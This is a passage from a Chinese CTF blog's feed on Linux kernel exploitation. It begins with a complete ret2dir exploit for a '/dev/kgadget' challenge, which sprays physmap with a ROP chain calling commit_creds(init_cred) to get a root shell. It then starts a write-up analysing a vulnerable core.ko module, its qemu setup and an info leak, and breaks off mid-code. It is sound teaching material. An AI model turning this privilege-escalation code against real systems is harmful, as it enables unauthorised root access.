class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;kernel_pwn.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/mman.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> POP_RDI_RET 0xffffffff8108c6f0</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> init_cred 0xffffffff82a6b700</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ADD_RSP_0x90_POP_FIVE_REG_RET 0xffffffff81004049</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> RET 0xffffffff8100405a</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> POP_RSP_RET 0xffffffff811483d0</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ADD_RSP_0xa0_POP_FOUR_REG_RET 0xffffffff816fca4a</span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> dev_fd;</span><br><span class="line"><span class="type">size_t</span> commit_creds = <span class="number">0xffffffff810c92e0</span>, swapgs_restore_regs_and_return_to_usermode = <span class="number">0xffffffff81c00fb0</span>;</span><br><span class="line"><span class="type">size_t</span> chain[<span class="number">16000</span>];</span><br><span class="line"><span class="type">size_t</span> target, pop_rsp=POP_RSP_RET;</span><br><span class="line"><span class="type">size_t</span> page_size;</span><br><span class="line"><span class="type">size_t</span>  *physmap_spray_arr[<span class="number">16000</span>];</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">construct_chain</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(; i &lt; (page_size<span class="number">-0x200</span>)/<span class="number">8</span>; i++)</span><br><span class="line">chain[i] = ADD_RSP_0xa0_POP_FOUR_REG_RET;</span><br><span class="line"><span class="keyword">for</span>(; i &lt; (page_size<span class="number">-0x60</span>)/<span class="number">8</span>; i++)</span><br><span class="line">chain[i] = RET;</span><br><span class="line">chain[i++] = POP_RDI_RET;</span><br><span class="line">chain[i++] = init_cred;</span><br><span class="line">chain[i++] = commit_creds;</span><br><span class="line">chain[i++] = swapgs_restore_regs_and_return_to_usermode + <span class="number">27</span>;</span><br><span class="line">chain[i++] = <span class="number">0</span>;</span><br><span class="line">chain[i++] = <span class="number">0</span>;</span><br><span class="line">chain[i++] = (<span class="type">size_t</span>)get_root_shell;</span><br><span class="line">chain[i++] = user_cs;</span><br><span class="line">chain[i++] = user_rflags;</span><br><span class="line">chain[i++] = user_sp;</span><br><span class="line">chain[i++] = user_ss;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">spray_physmap</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="type">size_t</span> <span class="built_in">map</span>[<span class="number">15000</span>];</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Spray physmap...\033[0m\n&quot;</span>);</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">15000</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">map</span>[i] = mmap(<span class="literal">NULL</span>, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line"><span class="built_in">memcpy</span>((<span class="type">void</span>*)<span class="built_in">map</span>[i], chain, page_size);</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Spray physmap end.\033[0m\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">save_status();</span><br><span class="line">dev_fd = open(<span class="string">&quot;/dev/kgadget&quot;</span>, O_RDWR);</span><br><span class="line"><span class="keyword">if</span>(dev_fd &lt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[31m\033[1m[x] Failed to open the /dev/kgadget file!\033[0m\n&quot;</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line">page_size = sysconf(_SC_PAGESIZE);</span><br><span class="line">construct_chain();</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Construct rop chain success!\033[0m\n&quot;</span>);</span><br><span class="line">spray_physmap();</span><br><span class="line">        </span><br><span class="line">target = <span class="number">0xffff888000000000</span> + <span class="number">0x7000000</span>;</span><br><span class="line">__asm__(</span><br><span class="line"><span class="string">&quot;mov r15, 0x15151515;&quot;</span></span><br><span class="line"><span class="string">&quot;mov r14, 0x14141414;&quot;</span></span><br><span class="line"><span class="string">&quot;mov r13, 0x13131313;&quot;</span></span><br><span class="line"><span class="string">&quot;mov r12, 0x12121212;&quot;</span></span><br><span class="line"><span class="string">&quot;mov rbp, 0xbcbcbcbc;&quot;</span></span><br><span class="line"><span class="string">&quot;mov rbx, 0xbdbdbdbd;&quot;</span></span><br><span class="line"><span class="string">&quot;mov r11, 0x11111111;&quot;</span></span><br><span class="line"><span class="string">&quot;mov r10, 0x10101010;&quot;</span></span><br><span class="line"><span class="string">&quot;mov r9,  pop_rsp;&quot;</span></span><br><span class="line"><span class="string">&quot;mov r8,  target;&quot;</span></span><br><span class="line"><span class="string">&quot;mov rax, 0x10;&quot;</span></span><br><span class="line"><span class="string">&quot;mov rcx, 0xcccccccc;&quot;</span></span><br><span class="line"><span class="string">&quot;mov rdx, target;&quot;</span></span><br><span class="line"><span class="string">&quot;mov rsi, 0x1bf52;&quot;</span></span><br><span class="line"><span class="string">&quot;mov rdi, dev_fd;&quot;</span></span><br><span class="line"><span class="string">&quot;syscall&quot;</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/07/20/kernel%20pwn/kernel%E5%85%A5%E9%97%A8(2)%E4%B9%8Bret2dir/</id>
    <link href="https://staticccccccc.github.io/2024/07/20/kernel%20pwn/kernel%E5%85%A5%E9%97%A8(2)%E4%B9%8Bret2dir/"/>
    <published>2024-07-20T11:30:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="基本原理"><a href="#基本原理" class="headerlink" title="基本原理"></a>基本原理</h2><p>ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法，主要用来<strong>绕过 smep、]]>
    </summary>
    <title>kernel入门(2)之ret2dir</title>
    <updated>2024-07-20T11:30:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="kernel pwn" scheme="https://staticccccccc.github.io/categories/kernel-pwn/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>由于kernel pwn的知识实在过于庞杂，因此鄙人选择从题目入手来学习kernel pwn的知识，并且该方向上已经有很多大佬写的优秀文章，其中基础知识也提到的不少，所以我希望能通过细节梳理题目中的每一个知识点来入门，也就是用到什么学什么。这里放一个arttnba3师傅的kernel基础知识文章：<a class="link"   href="https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/" >【OS.0x00】Linux Kernel I：Basic Knowledge - arttnba3’s blog<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>同时本文大幅参考以下文章：[<a class="link"   href="https://bbs.kanxue.com/thread-276403.htm#msg_header_h2_7" >原创]Kernel PWN从入门到提升-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic" >【PWN.0x00】Linux Kernel Pwn I：Basic Exploit to Kernel Pwn in CTF - arttnba3’s blog<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h2 id="前置处理"><a href="#前置处理" class="headerlink" title="前置处理"></a>前置处理</h2><h3 id="文件相关知识"><a href="#文件相关知识" class="headerlink" title="文件相关知识"></a>文件相关知识</h3><h4 id="bzImage-vmlinux"><a href="#bzImage-vmlinux" class="headerlink" title="bzImage &amp; vmlinux"></a>bzImage &amp; vmlinux</h4><p>解压压缩包，看到<code>give_to_player</code>文件夹，里面有四个文件，分别是<code>bzImage</code>, <code>core.cpio</code>, <code>start.sh</code>, <code>vmlinux</code>。其中<code>bzImage</code>为压缩内核镜像。</p><blockquote><h5 id="zImage-bzImage"><a href="#zImage-bzImage" class="headerlink" title="zImage &amp;&amp; bzImage"></a>zImage &amp;&amp; bzImage</h5><p>zImage–是vmlinux经过gzip压缩后的文件。<br>bzImage–bz表示“big zImage”，不是用bzip2压缩的，而是要偏移到一个位置，使用gzip压缩的。两者的不同之处在于，zImage解压缩内核到低端内存(第一个 640K)，bzImage解压缩内核到高端内存(1M以上)。如果内核比较小，那么采用zImage或bzImage都行，如果比较大应该用bzImage。</p><p><a class="link"   href="https://blog.csdn.net/xiaotengyi2012/article/details/8582886" >https://blog.csdn.net/xiaotengyi2012/article/details/8582886<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p></blockquote><p><code>vmlinux</code>为原始内核文件。以下来自new bing（这玩意儿还挺好用</p><blockquote><h5 id="vmlinux和bzImage的区别"><a href="#vmlinux和bzImage的区别" class="headerlink" title="vmlinux和bzImage的区别"></a>vmlinux和bzImage的区别</h5><ul><li>vmlinux是内核编译后生成的ELF格式的文件，它包含了完整的符号表和调试信息，可以用于内核调试。bzImage是内核编译后生成的压缩文件，它不包含符号表和调试信息，只包含可执行的二进制数据。</li><li>vmlinux是未经压缩的内核文件，它的大小取决于内核配置和编译选项。bzImage是经过gzip压缩的内核文件，它的大小一般比vmlinux小很多。</li><li>vmlinux不能直接被引导程序加载和启动，它需要经过objcopy或其他工具处理成Image或其他格式的文件。bzImage可以直接被引导程序加载和启动，它在文件开头部分内嵌有gzip解压缩代码。</li><li>vmlinux在启动时不需要解压缩，它直接被加载到内存中运行。bzImage在启动时需要解压缩，它被解压缩成vmlinux格式，然后再被加载到内存中运行。</li><li><a class="link"   href="https://www.zhihu.com/question/478487561" >vmlinux和bzImage都是Linux内核的通用格式，它们可以适用于不同的架构和平台。<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul></blockquote><h4 id="core-cpio"><a href="#core-cpio" class="headerlink" title="core.cpio"></a>core.cpio</h4><p><code>core.cpio</code>是打包后的文件系统，常用的打包和解包命令如下</p><div class="code-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">find . | cpio -o --format=newc &gt; ./rootfs.cpio</span><br><span class="line">cpio -idmv &lt; ./rootfs.cpio             （如果碰到解压出来一坨，可以直接归档管理器提取，这道题似乎就是这样）</span><br></pre></td></tr></table></figure></div><h4 id="start-sh"><a href="#start-sh" class="headerlink" title="start.sh"></a>start.sh</h4><p><code>start.sh</code>为qemu的启动脚本。再来看看它的内容</p><div class="code-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">qemu-system-x86_64 \</span><br><span class="line">-m 64M \</span><br><span class="line">-kernel ./bzImage \</span><br><span class="line">-initrd  ./core.cpio \</span><br><span class="line">-append &quot;root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr&quot; \</span><br><span class="line">-s  \</span><br><span class="line">-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \</span><br><span class="line">-nographic  \</span><br></pre></td></tr></table></figure></div><p>Here is a brief explanation of the parameters:</p><ul><li><strong>qemu-system-x86_64</strong> is the name of the QEMU emulator for x86_64 architecture</li><li><strong>-m 64M</strong> specifies the amount of memory for the guest system (64 MB)</li><li><strong>-kernel .&#x2F;bzImage</strong> specifies the kernel image to boot from</li><li><strong>-initrd .&#x2F;core.cpio</strong> specifies the initial ramdisk image</li><li><strong>-append “root&#x3D;&#x2F;dev&#x2F;ram rw console&#x3D;ttyS0 oops&#x3D;panic panic&#x3D;1 quiet kaslr”</strong> passes arguments to the kernel. In this case, it sets the root device to &#x2F;dev&#x2F;ram, enables read-write mode, redirects console output to ttyS0, makes the kernel panic on oops, sets the panic timeout to 1 second, suppresses kernel messages and enables kernel address space layout randomization (KASLR).</li><li><strong>-s</strong> enables a gdbserver on TCP port 1234</li><li><strong>-netdev user,id&#x3D;t0,</strong> creates a user mode network backend with id t0</li><li><strong>-device e1000,netdev&#x3D;t0,id&#x3D;nic0</strong> creates an Intel e1000 network device and connects it to the network backend t0 with id nic0</li><li><strong>-nographic</strong> disables graphical output and redirects serial I&#x2F;Os to console</li></ul><h4 id="core文件系统"><a href="#core文件系统" class="headerlink" title="core文件系统"></a>core文件系统</h4><p>解包<code>core.cpio</code>，发现漏洞模块<code>core.ko</code>，以及<code>init</code>系统初始化脚本，还有一个<code>gen_cpio.sh</code>脚本，查看内容之后发现是一个快速打包命令，使用方式为<code>./gen_cpio.sh 目标文件</code>，就可以将文件系统打包为这个目标文件了。</p><p>然后看<code>init</code>脚本</p><div class="code-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">!/bin/sh</span></span><br><span class="line">mount -t proc proc /proc</span><br><span class="line">mount -t sysfs sysfs /sys</span><br><span class="line">mount -t devtmpfs none /dev</span><br><span class="line">/sbin/mdev -s</span><br><span class="line">mkdir -p /dev/pts</span><br><span class="line">mount -vt devpts -o gid=4,mode=620 none /dev/pts</span><br><span class="line">chmod 666 /dev/ptmx</span><br><span class="line">cat /proc/kallsyms &gt; /tmp/kallsyms</span><br><span class="line">echo 1 &gt; /proc/sys/kernel/kptr_restrict</span><br><span class="line">echo 1 &gt; /proc/sys/kernel/dmesg_restrict</span><br><span class="line">ifconfig eth0 up</span><br><span class="line">udhcpc -i eth0</span><br><span class="line">ifconfig eth0 10.0.2.15 netmask 255.255.255.0</span><br><span class="line">route add default gw 10.0.2.2 </span><br><span class="line">insmod /core.ko</span><br><span class="line"></span><br><span class="line">poweroff -d 120 -f &amp;</span><br><span class="line">setsid /bin/cttyhack setuidgid 1000 /bin/sh</span><br><span class="line">echo &#x27;sh end!\n&#x27;</span><br><span class="line">umount /proc</span><br><span class="line">umount /sys</span><br><span class="line"></span><br><span class="line">poweroff -d 0  -f</span><br></pre></td></tr></table></figure></div><p>注意到命令<code>cat /proc/kallsyms &gt; /tmp/kallsyms</code>，将kallsyms拷贝了一份到tmp目录下，这样我们就可以通过这个文件来查找函数地址了。<code>insmod /core.ko</code>加载内核模块，<code>poweroff -d 120 -f &amp;</code>设置自动关机时间，可以删掉或者改大一点，避免影响做题。</p><h3 id="漏洞模块分析"><a href="#漏洞模块分析" class="headerlink" title="漏洞模块分析"></a>漏洞模块分析</h3><p><code>checksec</code>看到开了canary和NX，IDA打开<code>core.ko</code></p><p>程序中的函数有<code>init_module   core_ioctl    core_copy_func    core_read     core_write     core_release     exit_core</code></p><p>接下来逐一分析这些函数</p><h4 id="init-module"><a href="#init-module" class="headerlink" title="init_module"></a>init_module</h4><p>其实就一句</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">core_proc = proc_create(<span class="string">&quot;core&quot;</span>, <span class="number">438LL</span>, <span class="number">0LL</span>, &amp;core_fops);</span><br></pre></td></tr></table></figure></div><p>程序会调用<code>proc_create</code>函数创建一个core文件供选手与内核交互，来看这个函数的定义</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="keyword">struct</span> proc_dir_entry *<span class="title function_">proc_create</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *name, <span class="type">mode_t</span> mode, <span class="keyword">struct</span> proc_dir_entry *parent, <span class="type">const</span> <span class="keyword">struct</span> file_operations *proc_fops)</span>;</span><br></pre></td></tr></table></figure></div><p>其中<code>struct file_operations</code>的定义如下</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">file_operations</span> &#123;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">module</span> *<span class="title">owner</span>;</span></span><br><span class="line"><span class="type">loff_t</span> (*llseek) (<span class="keyword">struct</span> file *, <span class="type">loff_t</span>, <span class="type">int</span>);</span><br><span class="line"><span class="type">ssize_t</span> (*read) (<span class="keyword">struct</span> file *, <span class="type">char</span> __user *, <span class="type">size_t</span>, <span class="type">loff_t</span> *);</span><br><span class="line"><span class="type">ssize_t</span> (*write) (<span class="keyword">struct</span> file *, <span class="type">const</span> <span class="type">char</span> __user *, <span class="type">size_t</span>, <span class="type">loff_t</span> *);</span><br><span class="line"><span class="type">ssize_t</span> (*aio_read) (<span class="keyword">struct</span> kiocb *, <span class="type">const</span> <span class="keyword">struct</span> iovec *, <span class="type">unsigned</span> <span class="type">long</span>, <span class="type">loff_t</span>);</span><br><span class="line"><span class="type">ssize_t</span> (*aio_write) (<span class="keyword">struct</span> kiocb *, <span class="type">const</span> <span class="keyword">struct</span> iovec *, <span class="type">unsigned</span> <span class="type">long</span>, <span class="type">loff_t</span>);</span><br><span class="line"><span class="type">int</span> (*readdir) (<span class="keyword">struct</span> file *, <span class="type">void</span> *, <span class="type">filldir_t</span>);</span><br><span class="line"><span class="type">unsigned</span> <span class="title function_">int</span> <span class="params">(*poll)</span> <span class="params">(<span class="keyword">struct</span> file *, <span class="keyword">struct</span> poll_table_struct *)</span>;</span><br><span class="line"><span class="type">long</span> (*unlocked_ioctl) (<span class="keyword">struct</span> file *, <span class="type">unsigned</span> <span class="type">int</span>, <span class="type">unsigned</span> <span class="type">long</span>);</span><br><span class="line"><span class="type">long</span> (*compat_ioctl) (<span class="keyword">struct</span> file *, <span class="type">unsigned</span> <span class="type">int</span>, <span class="type">unsigned</span> <span class="type">long</span>);</span><br><span class="line"><span class="type">int</span> (*mmap) (<span class="keyword">struct</span> file *, <span class="keyword">struct</span> vm_area_struct *);</span><br><span class="line"><span class="type">int</span> (*open) (<span class="keyword">struct</span> inode *, <span class="keyword">struct</span> file *);</span><br><span class="line"><span class="type">int</span> (*flush) (<span class="keyword">struct</span> file *, <span class="type">fl_owner_t</span> id);</span><br><span class="line"><span class="type">int</span> (*release) (<span class="keyword">struct</span> inode *, <span class="keyword">struct</span> file *);</span><br><span class="line"><span class="type">int</span> (*fsync) (<span class="keyword">struct</span> file *, <span class="type">loff_t</span>, <span class="type">loff_t</span>, <span class="type">int</span> datasync);</span><br><span class="line"><span class="type">int</span> (*aio_fsync) (<span class="keyword">struct</span> kiocb *, <span class="type">int</span> datasync);</span><br><span class="line"><span class="type">int</span> (*fasync) (<span class="type">int</span>, <span class="keyword">struct</span> file *, <span class="type">int</span>);</span><br><span class="line"><span class="type">int</span> (*lock) (<span class="keyword">struct</span> file *, <span class="type">int</span>, <span class="keyword">struct</span> file_lock *);</span><br><span class="line"><span class="type">ssize_t</span> (*sendpage) (<span class="keyword">struct</span> file *, <span class="keyword">struct</span> page *, <span class="type">int</span>, <span class="type">size_t</span>, <span class="type">loff_t</span> *, <span class="type">int</span>);</span><br><span class="line"><span class="type">unsigned</span> <span class="title function_">long</span> <span class="params">(*get_unmapped_area)</span><span class="params">(<span class="keyword">struct</span> file *, <span class="type">unsigned</span> <span class="type">long</span>, <span class="type">unsigned</span> <span class="type">long</span>, </span></span><br><span class="line"><span class="params">   <span class="type">unsigned</span> <span class="type">long</span>, <span class="type">unsigned</span> <span class="type">long</span>)</span>;</span><br><span class="line"><span class="type">int</span> (*check_flags)(<span class="type">int</span>);</span><br><span class="line"><span class="type">int</span> (*flock) (<span class="keyword">struct</span> file *, <span class="type">int</span>, <span class="keyword">struct</span> file_lock *);</span><br><span class="line"><span class="type">ssize_t</span> (*splice_write)(<span class="keyword">struct</span> pipe_inode_info *, <span class="keyword">struct</span> file *, <span class="type">loff_t</span> *, <span class="type">size_t</span>, <span class="type">unsigned</span> <span class="type">int</span>);</span><br><span class="line"><span class="type">ssize_t</span> (*splice_read)(<span class="keyword">struct</span> file *, <span class="type">loff_t</span> *, <span class="keyword">struct</span> pipe_inode_info *, <span class="type">size_t</span>, <span class="type">unsigned</span> <span class="type">int</span>);</span><br><span class="line"><span class="type">int</span> (*setlease)(<span class="keyword">struct</span> file *, <span class="type">long</span>, <span class="keyword">struct</span> file_lock **);</span><br><span class="line"><span class="type">long</span> (*fallocate)(<span class="keyword">struct</span> file *file, <span class="type">int</span> mode, <span class="type">loff_t</span> offset,<span class="type">loff_t</span> len);</span><br><span class="line"><span class="type">int</span> (*show_fdinfo)(<span class="keyword">struct</span> seq_file *m, <span class="keyword">struct</span> file *f);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></div><blockquote><p>其中比较常用的函数有：<br>第1行：owner拥有该拥有该结构体的模块指针，一般设置为 THIS_MODULE，防止模块还在被使用的时候被卸载。<br>第2行：lseek函数用于修改文件当前的读写位置。<br>第3行：read函数用于读取设备文件。<br>第4行：write函数用于向设备文件写入(发送)数据。<br>第13行：open函数用于打开设备文件。<br>第15行：release函数用于释放 函数用于释放 函数用于释放 (关闭 )设备文件，与应用程序中的close()函数对应。<br>原文链接：<a class="link"   href="https://blog.csdn.net/qq_40642828/article/details/103810494" >https://blog.csdn.net/qq_40642828/article/details/103810494<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p></blockquote><p>在本题中，该结构体如下</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">file_operations</span> <span class="title">test_fops</span> =</span> &#123;</span><br><span class="line">.owner = this_module,</span><br><span class="line">.write = core_write,</span><br><span class="line">.compat_ioctl = core_ioctl,</span><br><span class="line">.release = core_release,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></div><p>也就是说在使用<code>write</code>函数向core文件写入的时候会调用<code>core_write</code>函数，在使用<code>ioctl</code>时会调用<code>core_ioctl</code>函数。而<code>core_release</code>就是内核模块的关闭函数，相当于<code>close()</code>.</p><h4 id="core-write"><a href="#core-write" class="headerlink" title="core_write"></a>core_write</h4><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( a3 &lt;= <span class="number">0x800</span> &amp;&amp; !copy_from_user(&amp;name, a2, a3) )</span><br><span class="line">    <span class="keyword">return</span> (<span class="type">unsigned</span> <span class="type">int</span>)a3;</span><br></pre></td></tr></table></figure></div><p>关键代码就这一句，在写入大小小于等于0x800时，将用户空间中a2位置的数据拷贝a3字节到内核中的 name区域</p><h4 id="core-ioctl"><a href="#core-ioctl" class="headerlink" title="core_ioctl"></a>core_ioctl</h4><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">core_ioctl</span><span class="params">(__int64 a1, <span class="type">int</span> a2, __int64 a3)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">switch</span> ( a2 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">0x6677889B</span>:</span><br><span class="line">      core_read(a3);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">0x6677889C</span>:</span><br><span class="line">      printk(&amp;unk_2CD);</span><br><span class="line">      off = a3;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">0x6677889A</span>:</span><br><span class="line">      printk(&amp;unk_2B3);</span><br><span class="line">      core_copy_func(a3);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>这个函数是程序的关键函数，第一个可以调用<code>core_read</code>函数，第二个可以设置<code>off</code>变量的值，第三个可以调用<code>core_copy_func</code>函数</p><h4 id="core-read"><a href="#core-read" class="headerlink" title="core_read"></a>core_read</h4><p>实际上关键代码也就一句</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">result = copy_to_user(a1, &amp;v5[off], <span class="number">64LL</span>);</span><br></pre></td></tr></table></figure></div><p>由于我们可以任意改变<code>off</code>变量的值，因此将它们拷贝到用户空间后打印可以实现信息泄露</p><h4 id="core-copy-func"><a href="#core-copy-func" class="headerlink" title="core_copy_func"></a>core_copy_func</h4><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span 